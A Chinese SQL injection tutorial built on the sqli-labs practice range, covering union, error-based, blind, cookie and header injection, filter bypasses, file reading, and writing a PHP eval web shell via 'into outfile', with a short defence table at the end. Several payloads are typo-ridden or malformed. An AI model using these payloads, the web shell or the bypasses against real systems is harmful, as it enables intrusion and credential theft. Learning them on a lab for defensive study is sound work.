文章目录:
一:引入
1. 编程语言和数据库
2.默认的语言搭配的数据库
3.常见的数据库默认端口号
4.环境安装配置
二:前言
1. 什么是SQL注入
2.SQL注入起源
3.为什么有SQL注入
4.SQL注入的业务场景及危害
三:SQL注入的分类
1.按请求方法分类
GET型
POST型
2.按数据类型注分类
整形注入
字符型注入
3.其他类型
双注入/二次注入/堆叠注
报错注入
布尔盲注
时间/延时盲注sleep
Cookie注入
HTTP请求-Referer注入
四:SQL注入读写文件
五:绕过过滤
注释符过滤绕过
and-or字符过滤绕过
空格过滤绕过
内联查询绕过
宽字节注入绕过
六:SQL注入防御
一:引入
1. 编程语言和数据库
数据库 | Access数据库教案(Excel+VBA+Access数据库/SQL Server编程 |
SQL/MySQL数据库教案(入门必备) | |
编程语言 | JAVA |
Python程序设计教案 | |
PHP程序设计教案_php流程控制语句 教案 | |
C++程序设计教案 |
2.默认的语言搭配的数据库
默认的语言搭配的数据库:组合类型asp + access/mssqlphp + mysql aspx + mssqlsp + mysql/oraclePython + MongoDB
3.常见的数据库默认端口号
关系型数据库mysql 3306sqlserver 1433oracle 1521psotgresql 5432非关系型数据库MongoDB 27017Redis 6379memcached 11211
4.环境安装配置
PHPStudy
sqli下载及安装(sqli-libs)-图文详解+phpStudy配置
靶场
sqli-labs:sqli-labs-master——>sql-connections——>db-creds.inc(修改dbuser dbpass)
二:前言
1. 什么是SQL注入
SQL注入是服务端“未严格校验”客户端发送的数据,而导致服务端SQL语句被“恶意修改”并“成功执行”的行为产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹c.输入的SQL语句是否不报错——>SQL语句能够成功闭合2.恶意修改3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-______________________________________________________________________________
2.SQL注入起源
NT Web Technology Vulnerabilities
SQL注入第一次出现在大众的视野是1998年12月著名黑客杂志《Phack》第54期上 名为rfp的黑客,发表了一篇名为“NT Webs Technology Vulnerabilities”的文章
3.为什么有SQL注入
代码对带入SQL语句的参数过滤不严格未启用框架的安全配置,例如:PHP的magic_quotes_gpc未使用框架安全的查询方法测试接口未删除未启用防火墙未使用其他的安全防护设备
4.SQL注入的业务场景及危害
场景(与数据库交互的地方 ):登录功能、搜索功能、详情页、制操作系统 、商品购买 危害 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露网页篡改:通过操作数据库对特定网页进行篡改网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控
三:SQL注入的分类
分类 | 类型 | 解释 | 细分 |
按照请求方法 | GET型 | 可以 在URL参数里面修改内容 | |
POST型 | 不可以 在URL参数里面修改内容 | ||
按照数据类型 | 整型 | ||
字符型 | |||
其他类型 | 报错注入 | 后台SQL语句执行了错误内容,返回前台进行显示 | |
双注入/二次注入/堆叠注入 | 两个select | ||
盲注 | 只会提示后台有错误(页面正常状态、页面非正常状态) 看不见数据库的报错信息 | 布尔盲注 时间/延时盲注sleep | |
Cookie注入 | |||
User-Agent注入 | 通过修改HTTP请求头中的User-Agent字段 来执行恶意操作或绕过安全机制 |
1.按请求方法分类
GET型
在浏览器地址栏erl里面可以直接修改的
POST型
http://www.margin.com/sqli/Less-4/
| |
第一种:输入框直接输入 | |
第二种:Eable Post data | |
第三种:Burp Suite抓包工具(五-软件使用) | |
2.按数据类型注分类
concat(string1, string2, ..., stringN)函数 将两个或多个字符串值连接成一个字符串 如果任何一个字符串值为 NULL,则返回的结果也将是 NULL | |
SELECT CONCAT('Hello', ' ', 'World') AS ConcatenatedString; -- 结果: Hello World SELECT CONCAT(first_name, ' ', last_name) AS FullName FROM users; -- 假设 users 表有 first_name 和 last_name 字段,这将返回完整的名字 | |
conca_wst(separator, string1, string2, ..., stringN)函数 将两个或多个字符串值连接成一个字符串,但可以在连接时指定一个分隔符 | |
ELECT CONCAT_WS(' ', first_name, last_name) AS full_name | |
group_concat()函数 指定的字段进行合并/字符串连接 | |
select group_count(id) from course; |
整形注入
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果?id=1 ?id=1'?id=1''b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹?id=1'c.输入的SQL语句是否不报错——>SQL语句能够成功闭合?id=1 #或者--2.恶意修改(占位传入值)?id=1 and 03.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-2/id=1select username,password from user where id=?______________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接%23为#注释;1 2 3是占位的作用(查询成功说明有三列),也可以自定义11 22 33?id=1 union select 1,2,3 %23 根据id排序;是数字按照对应列序来排序?id=1 order by 3 %23查询user,database: (让前一条语句不显示因为默认只显示第一条数据,使用不存在的数或者加and 0 )?id=2132412 union select 1,user(),3 %23 ?id=2132412 union select 1,database(),3 %23 查询所有数据库:(group_concat()拼接所有列)?id=121343 union select 1,2,group_concat(schema_name) from information_schema.schemata %23 ?id=123456 union select 1,database(),333333 %23查询所有表?id=121343 union select 1,2,group_concat(table_name) from information_schema.tableswhere table_schema=database()查询user表的所有字段?id=121343 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' %23查询想要的信息?id=121343 union select 1,username,password from security.users %23拼接所有内容展示concat_ws()?id=121343 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users %23
字符型注入
单引号 | ?id=1' |
双引号 | ?id=1") |
?id=1" | |
?id=1")) | |
?id=1")))... |
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果?id=1 ?id=1'?id=1''b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹?id=1'c.输入的SQL语句是否不报错——>SQL语句能够成功闭合?id=1 #或者--2.恶意修改(占位传入值)?id=1' and 03.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-1/id=1'select username,password from user where id='1'' limit 0,1 %23http://www.margin.com/sqli/Less-1/id=1'')(select username,password from user where id="1") limit 0,1 %23______________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接%23为#注释;1 2 3是占位的作用(查询成功说明有三列),也可以自定义11 22 33?id=1' union select 1,2,3 %23 根据id排序;是数字按照对应列序来排序?id=1' order by 3 %23查询emails,database: (让前一条语句不显示因为默认只显示第一条数据,使用不存在的数或者加and 0 )?id=1' union select 1,emails(),3 %23 ?id=1' union select 1,database(),3 %23 查询所有数据库:(group_concat()拼接所有列)?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23 ?id=1' union select 1,database(),333333 %23查询所有表?id=1' union select 1,2,group_concat(table_name) from information_schema.tableswhere table_schema=database()查询user表的所有字段?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' %23查询想要的信息?id=1' union select 1,id,email_idfrom security.emails%23拼接所有内容展示concat_ws()?id=1' union select 1,group_concat(concat_ws(':',id,email_id)),3 from security.users %23
3.其他类型
双注入/二次注入/堆叠注
Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果重新抓包,在输入框输入信息:admin 123456b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹uname=adimin' & passwd=123456 & submit=Submitc.输入的SQL语句是否不报错——>SQL语句能够成功闭合 uname=adimin'" & passwd=123456 & submit=Submit 这里报错:整形问题、单引号问题'123456' limit 0,1''"' and passwd='123456' limit 0,1' 说明前面还有个'uname=adimin' %23 & passwd=123456 & submit=Submit 2.恶意修改(占位传入值)uname=adimin' %23 & passwd=123456 & submit=Submit 3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-11/uname=adimin & passwd=123456 & submit=Submit______________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接看有几列uname=adimin' order by 2 %23 & passwd=123456 & submit=Submit 占位排序:这里不会显示内容,只是显示是否成功失败uname=adimin' unionselect 1,2%23 & passwd=123456 & submit=Submit 双注入基本原理uname=adimin' unionselect 1,count(1)from information_schema.tablesgroup by concat(floor(rand()*2),version())%23 & passwd=123456 & submit=Submit 查询所有数据库:(group_concat()拼接所有列)uname=adimin' unionselect 1,count(1)from information_schema.tablesgroup by concat(floor(rand()*2),database())%23 & passwd=123456 & submit=Submit 查询所有表:双注入实现 第一张表limit(0,1) 第二张表limit(1,1) uname=adimin' unionselect 1,count(1)from information_schema.tablesgroup by concat(floor(rand()*2),( select table_name from information_schema.tableswhere table_schema=database() limit(0,1)))%23 & passwd=123456 & submit=Submit 查询user表的所有字段uname=adimin' unionselect 1,count(1)from information_schema.tablesgroup by concat(floor(rand()*2),( select column_name from information_schema.columnswhere table_schema=database() and table_name='users' limit(0,1)))%23 & passwd=123456 & submit=Submit 查询想要的信息uname=adimin' unionselect 1,count(1)from information_schema.tablesgroup by concat(floor(rand()*2),( select usernamefrom userslimit(0,1)))%23 & passwd=123456 & submit=Submit
报错注入
EXTRACTVALUE(xml_frag, xpath_expr) 函数 从目标XML中返回包含所查询值的字符串 | |
xml_frag | 包含 XML 数据的字符串或变量 |
xpath_expr | XPath 表达式,用于从 XML 文档中定位并提取数据 |
UPDATEXML(xml_target, xpath_expr, new_val) 函数 用于修改 XML 文档中的数据 | |
xml_target | 包含 XML 数据的字符串或变量 |
xpath_expr | XPath 表达式,用于定位要修改的 XML节点 |
new_val | 要插入到指定节点的新值 |
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果重新抓包,在输入框输入信息:admin 123456b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹uname=adimin' & passwd=123456 & submit=Submitc.输入的SQL语句是否不报错——>SQL语句能够成功闭合 uname=adimin'" & passwd=123456 & submit=Submit 这里报错:整形问题、单引号问题'123456' limit 0,1''"' and passwd='123456' limit 0,1' 说明前面还有个'uname=adimin' %23 & passwd=123456 & submit=Submit 2.恶意修改(占位传入值)uname=adimin' %23 & passwd=123456 & submit=Submit 3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-11/uname=adimin & passwd=123456 & submit=Submit______________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接看有几列uname=adimin' order by 2 %23 & passwd=123456 & submit=Submit 占位排序:这里不会显示内容,只是显示是否成功失败uname=adimin' unionselect 1,2%23 & passwd=123456 & submit=Submit 报错注入基本原理:0x7e为~--------------------------------------------------------extractvalue函数uname=' union select 1,extractvalue(1, concat(0x7e,(select version())))%23 & passwd=123456 & submit=Submit --------------------------------------------------------updatexml函数uname=' union select 1,updatexml(1, concat(0x7e,(select version())),1)%23 &passwd=12132 --------------------------------------------------------查询所有数据库uname=' union select 1,extractvalue(1, concat(0x7e,(select database())))%23 & passwd=123456 & submit=Submit 查询所有表:双注入实现 第一张表limit(0,1) 第二张表limit(1,1) uname=' union select 1,extractvalue(1, concat(0x7e,(select table_namefrom information_schema.tableswhere table_schema=database() limit(0,1))))%23 & passwd=123456 & submit=Submitit 查询user表的所有字段uname=' union select 1,extractvalue(1, concat(0x7e,(select column_namefrom information_schema.columnswhere table_schema=database() and table_name='users' limit(0,1))))%23 & passwd=123456 & submit=Submitit 查询想要的信息uname=' union elect 1,extractvalue(1, concat(0x7e,(select usernamefrom userslimit(0,1))))%23 & passwd=123456 & submit=Submitit
布尔盲注
subStr(字符串,起始位置,长度)函数 从字符串中提取子字符串 | |
字符串 | 要从中提取子字符串的原始字符串 |
起始位置(可选,默认为1) | 开始提取子字符串的位置(注意:某些数据库系统的起始位置可能是0或1,具体取决于数据库) |
长度(可选) | 要提取的字符数。如果不指定,则提取从起始位置到字符串末尾的所有字符 |
limit(行数,偏移量)函数 限制查询结果的数量 | |
行数 | 要返回的记录数 |
偏移量(可选) | 从哪个位置开始返回记录(偏移量基于0或1,取决于数据库) 如果指定了偏移量,则先跳过指定数量的记录,然后从下一个记录开始返回指定数量的记录 |
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果id=1id=1'id=1)b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹id=1' and 0 %23 id=1' or 0 %23 id=1) and 0 %23c.输入的SQL语句是否不报错——>SQL语句能够成功闭合 id=1' %232.恶意修改(占位传入值)id=1' or 1 %23 id=-1) or 1 %23 3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-5/?id=1'http://www.margin.com/sqlc/sql-3.php/?id=1) _____________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接看有几列 占位排序:这里不会显示内容,只是显示是否成功失败查询所有数据库:(group_concat()拼接所有列)?id=1' or (select ascii(substr(database_name ,1,1)) from information_schema.schemata limit 0,1) =97 %23 ?id=1' or (select ascii(substr((select database_name from information_schema.schemata limit 0,1), 1, 1)) = 97) %23查询所有表 ?id=1' or (select ascii(substr(tablename,1,1)) from informationschema.tables where table_schema=database() limit 0,1) >0 %23 查询user表的所有字段查询想要的信息
时间/延时盲注sleep
特殊字符 | 空格(小括号可以替换空格) |
, | |
' | |
" | |
# | |
* | |
+ | |
-- | |
= | |
select | |
union | |
all | |
order | |
by | |
where | |
from | |
or | |
concat | |
group_concat | |
null |
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果id=1id=1'id=1)id=1"id=1'""b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹id=1' and sleep(3)c.输入的SQL语句是否不报错——>SQL语句能够成功闭合 id=1' or sleep(3)2.恶意修改(占位传入值)id=1' or sleep(3)or if(1,sleep(2),0) %23 成功,执行第二个参数;不成功,执行第三个参数or if((控制这个参数),sllep(2),0) %23 3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-9/?id=1' _____________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接看有几列 占位排序:这里不会显示内容,只是显示是否成功失败查询所有数据库:(group_concat()拼接所有列)?id=1' or if((select ascii(substr(database_name ,1,1)) from information_schema.schemata limit 0,1)>66,sleep(2),0) %23 ?id=1' and (select case when ascii(substr((select schema_name from information_schema.schemata limit 1), 1, 1)) > 66 then sleep(2) else null end) #查询所有表 ?id=1' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)>66,sleep(2),0) %23 查询user表的所有字段查询想要的信息
Cookie注入
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果uname=admin"uname=admin'b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹id=1' and sleep(3)c.输入的SQL语句是否不报错——>SQL语句能够成功闭合 uname=admin' %232.恶意修改(占位传入值)uname=admin' and 0 %23 3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-24/?uname=admin'''admin'' limit 0,1' uname=admin' %23_____________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接看有几列 Cookie:uname=admin' order by 3 %23占位排序Cookie:uname=admin' and 0 union select 1,2,3 %23 查询所有数据库:(group_concat()拼接所有列)Cookie:uname=admin' and 0 union select 1,group_concat(schema_name),3 from information_schema.schemata%23 查询所有表 Cookie:uname=admin' and 0 union select 1,group_concat(table_name),3 from information_schema.tableswhere table_schema = database()%23 查询user表的所有字段由于and 0使得前面的查询(即假设的SELECT * FROM some_table WHERE uname = 'admin' and 0)不返回任何结果,因此union的结果将完全由后面的查询决定Cookie:uname=admin' and 0 union select 1,group_concat(column_name),3 from information_schema.columnswhere table_schema = database() and table_name='users'%23 查询想要的信息Cookie:uname=admin' and 0 union select 1,group_concat(concat_ws(":",username,password)),3 from users%23
HTTP请求-Referer注入
产生SQL注入的三要素1.未严格校验:是否有注入、扫描类型的注入a.可控参数的改变——>能否影响页面显示结果http://www.margin.com/sqli/Less-19/') %23b.输入的SQL语句是否 报错——>看数据库的一些语句痕迹c.输入的SQL语句是否不报错——>SQL语句能够成功闭合 values(' 'and' ',' ')values(' 'and extractvalue() and' ',' ')2.恶意修改(占位传入值)3.成功执行:获取我们想要的数据(数据库——>表——>字段——>值)数据库:information_schemata schemata表——>schema_name 表:information_schema.tables tables表——>table_name table_schema字段:information_schema.columns columns表——>column_name______________________________________________________________________________http://www.margin.com/sqli/Less-19/uname=adimin & passwd=123456 & submit=Submithttp://www.margin.com/sqli/Less-19/') %23insert into xxx(a,b) values('','')insert into xxx(a,b) values('')#','')insert into xxx(a,b) values('' and '','')insert into xxx(a,b) values('' and extractvalue() and '','')insert into xxx(a,b) values('' and extractvalue(1,concat(0x7e,@@version)) and '','')User-Agent:Mozilla/5.0 (windows NT 5.2; WOW64;rv:15.0)update 表名 set 字段1=值1, 字段2 = 值2.... [where 条件];______________________________________________________________________________查询列数:union特性,前后表字段一样,发表拼接看有几列占位排序:这里不会显示内容,只是显示是否成功失败查询所有数据库查询所有表:双注入实现 第一张表limit(0,1) 第二张表limit(1,1) insert into xxx(a,b) values('' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tableswhere table_schema=database() limit(0,1)) )) and '','') 查询user表的所有字段insert into xxx(a,b) values('' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columnswhere table_schema=database() and table_name='emails' limit(0,1)) )) and '','') 查询想要的信息
四:SQL注入读写文件
读取文件:通过SQL语法,读取服务器上特点的文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串a.必须有权限读取并且文件完全可读b.想读取的文件必须在服务器上c.必须指定文件完整的路径d.想读取的文件必须小于 max_allowed_packet
http://www.margin.com/sqli/Less-1/?id=1' %23判断列数http://www.margin.com/sqli/Less-1/?id=1' order by 3 %23http://www.margin.com/sqli/Less-1/?id=1' union select 1,2,3 %23http://www.margin.com/sqli/Less-1/?id=-1' union select 1,2,3 %23读取文件http://www.margin.com/sqli/Less-1/?id=-1' union select 1,2,load_file ("") %23通过经验 或者 报错得到文件的绝对路径两个反斜杠因为要转译hex编码成十六进制——>再进行转码成字符——>对应文件里面内容http://www.margin.com/sqli/Less-1/index.php?id=-1' union select 1,2,hex(load_file("D:\\phpstudy\\WWW\\sqli-labs\\Less-1\\index.php")) %23
写入文件
into outfile "绝对路径"
http://www.margin.com/sqli/Less-7/?id=1')) %23判断列数http://www.margin.com/sqli/Less-1/?id=1')) order by 3 %23http://www.margin.com/sqli/Less-1/?id=1')) union select 1,2,3 %23写入文件http://www.margin.com/sqli/Less-1/??id=1'))union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "D:\\phpstudy\\WWW\\sqli-labs\\Less-7\\a.php" %23
菜刀工具(基础)_菜刀下载安装 (管理web网站):文件管理、数据库管理、虚拟终端...
五:绕过过滤
注释符过滤绕过
http://www.margin.com/sqli/Less-23/?id=1'" %23 a 报错出现'" %23 a'SQL实际语句:select * from xx where id='' limit 0,1select * from xx where id=''='' limit 0,1 '='就不会报错select * from xx where id=' or () or ' limit 0,1 or () or不会报错select * from xx where id='union ()' limit 0,1 union就不会报错绕过注释符or () or方法?id=1' or (extractvalue(1,concat(0x7e,version()))) or'?id=1' or (extractvalue(1,concat(0x7e,select table_name information_schema.tableswhere table_name=database() limit 0,1))) or'union方法select * from xx where id='union select 1,2' limit 0,1 select * from xx where id='union select 1,version()' limit 0,1 select * from xx where id='union select 1,select table_name information_schema.tableswhere table_name=database()' limit 0,1
and-or字符过滤绕过
http://www.margin.com/sqli/Less-25/?id=1' %23 没有报错 http://www.margin.com/sqli/Less-25/?id=1' union select 1,23 %23 没有报错 http://www.margin.com/sqli/Less-25/?id=1' aaa order by 1 %23 报错 'a der by 1 #' http://www.margin.com/sqli/Less-25/?id=1' a or and 1 %23 报错 'a 1 #' 解决办法使用大小写变形' OR '1'='1' -- -' AND '1'='1' -- -使用逻辑运算符的替代http://www.margin.com/sqli/Less-25/?id=-1' || 1 %23 http://www.margin.com/sqli/Less-25/?id=-1' || (extractvalue(1,concat(0x7e,version()))) %23http://www.margin.com/sqli/Less-25/?id=1' && 1 %23 双写多写' anANDd 1=1 -- -' oORr 1=1 -- -
空格过滤绕过
空格替换 | %09 | TAB键(水平) |
%0a | 新建一行 | |
%0c | 新的一页 | |
%0d | return功能 | |
%0b | TAB键(垂直) | |
%a0 | 空格 | |
/**/ | 空格 |
http://www.margin.com/sqli/Less-26/?id=1' %23 没有报错 http://www.margin.com/sqli/Less-26/?id=1' a %23 a 有报错 http://www.margin.com/sqli/Less-26/?id=1' || () ||'解决办法:在有空格的地方,进行替代绕过http://www.margin.com/sqli/Less-26/?id=1' || (select%a0*) ||'
内联查询绕过
http://www.margin.com/sqli/Less-26/?id=1' or 1=1 or' http://www.margin.com/sqli/Less-26/?id=1' %a0or%a01=1%a0or' 没有报错 http://www.margin.com/sqli/Less-26/?id=1' %a0"union%a0"select%a01' 有报错'"1 union和select没有了解决办法:改变大小写、双写多写、注释/*!*/绕过http://www.margin.com/sqli/Less-26/?id=1' %a0"UniOn%a0"SelEct%a01' http://www.margin.com/sqli/Less-26/?id=1' %a0"unUniOnion%a0"selSelEctect%a01'http://www.margin.com/sqli/Less-26/?id=1' %a0"/*!union*/%a0"/*!select*/%a01'
宽字节注入绕过
特殊字符 | 含义 | 十六进制值 |
+ | URL 中+号表示空格 | %2B |
空格 | URL中的空格可以用+号或者编码 | %20 |
’ | 单引号 | %27 |
/ | 分隔目录和子目录 | %2F |
\ | 斜杠 | %5C |
? | 分隔实际的 URL 和参数 | %3F |
% | 指定特殊字符 | %25 |
# | 表示书签 | %23 |
& | URL 中指定的参数间的分隔符 | %26 |
= | URL 中指定参数的值 | %3D |
GDK编码,两个字符代表一个汉字,编码范围8140-FEFE
GB2312:编码范围A1A1-FEFE,其中汉字编码范围B0A1-F7FE
http://www.margin.com/sqli/Less-32/?id=1' %23 报错1\' 会把单引号转义了 315c27 5c/ 27' 解决办法:把反斜杠给替换掉(5c/)http://www.margin.com/sqli/Less-32/?id=1%83' %23 83>5c可以被识别在GBK中查看列数http://www.margin.com/sqli/Less-32/?id=1%83' order by 3 %23 http://www.margin.com/sqli/Less-32/?id=-1%83' union select 3 %23 查看版本http://www.margin.com/sqli/Less-32/?id=-1%83' union select 1,version(),3 %23
六:SQL注入防御
代码层 | 黑名单 | 不允许出现什么字符 |
白名单 | 那个可以通过 | |
敏感字符过滤 | ||
使用框架安全查询 | ||
规范输出 | ||
配置层 | 开启GPC | PHP里面 |
使用UTF-8 | 编码方式 | |
物理层 | WAF | 防火墙设备 |
数据库审计 | ||
云防护 | ||
IPS | 入侵防御系统 |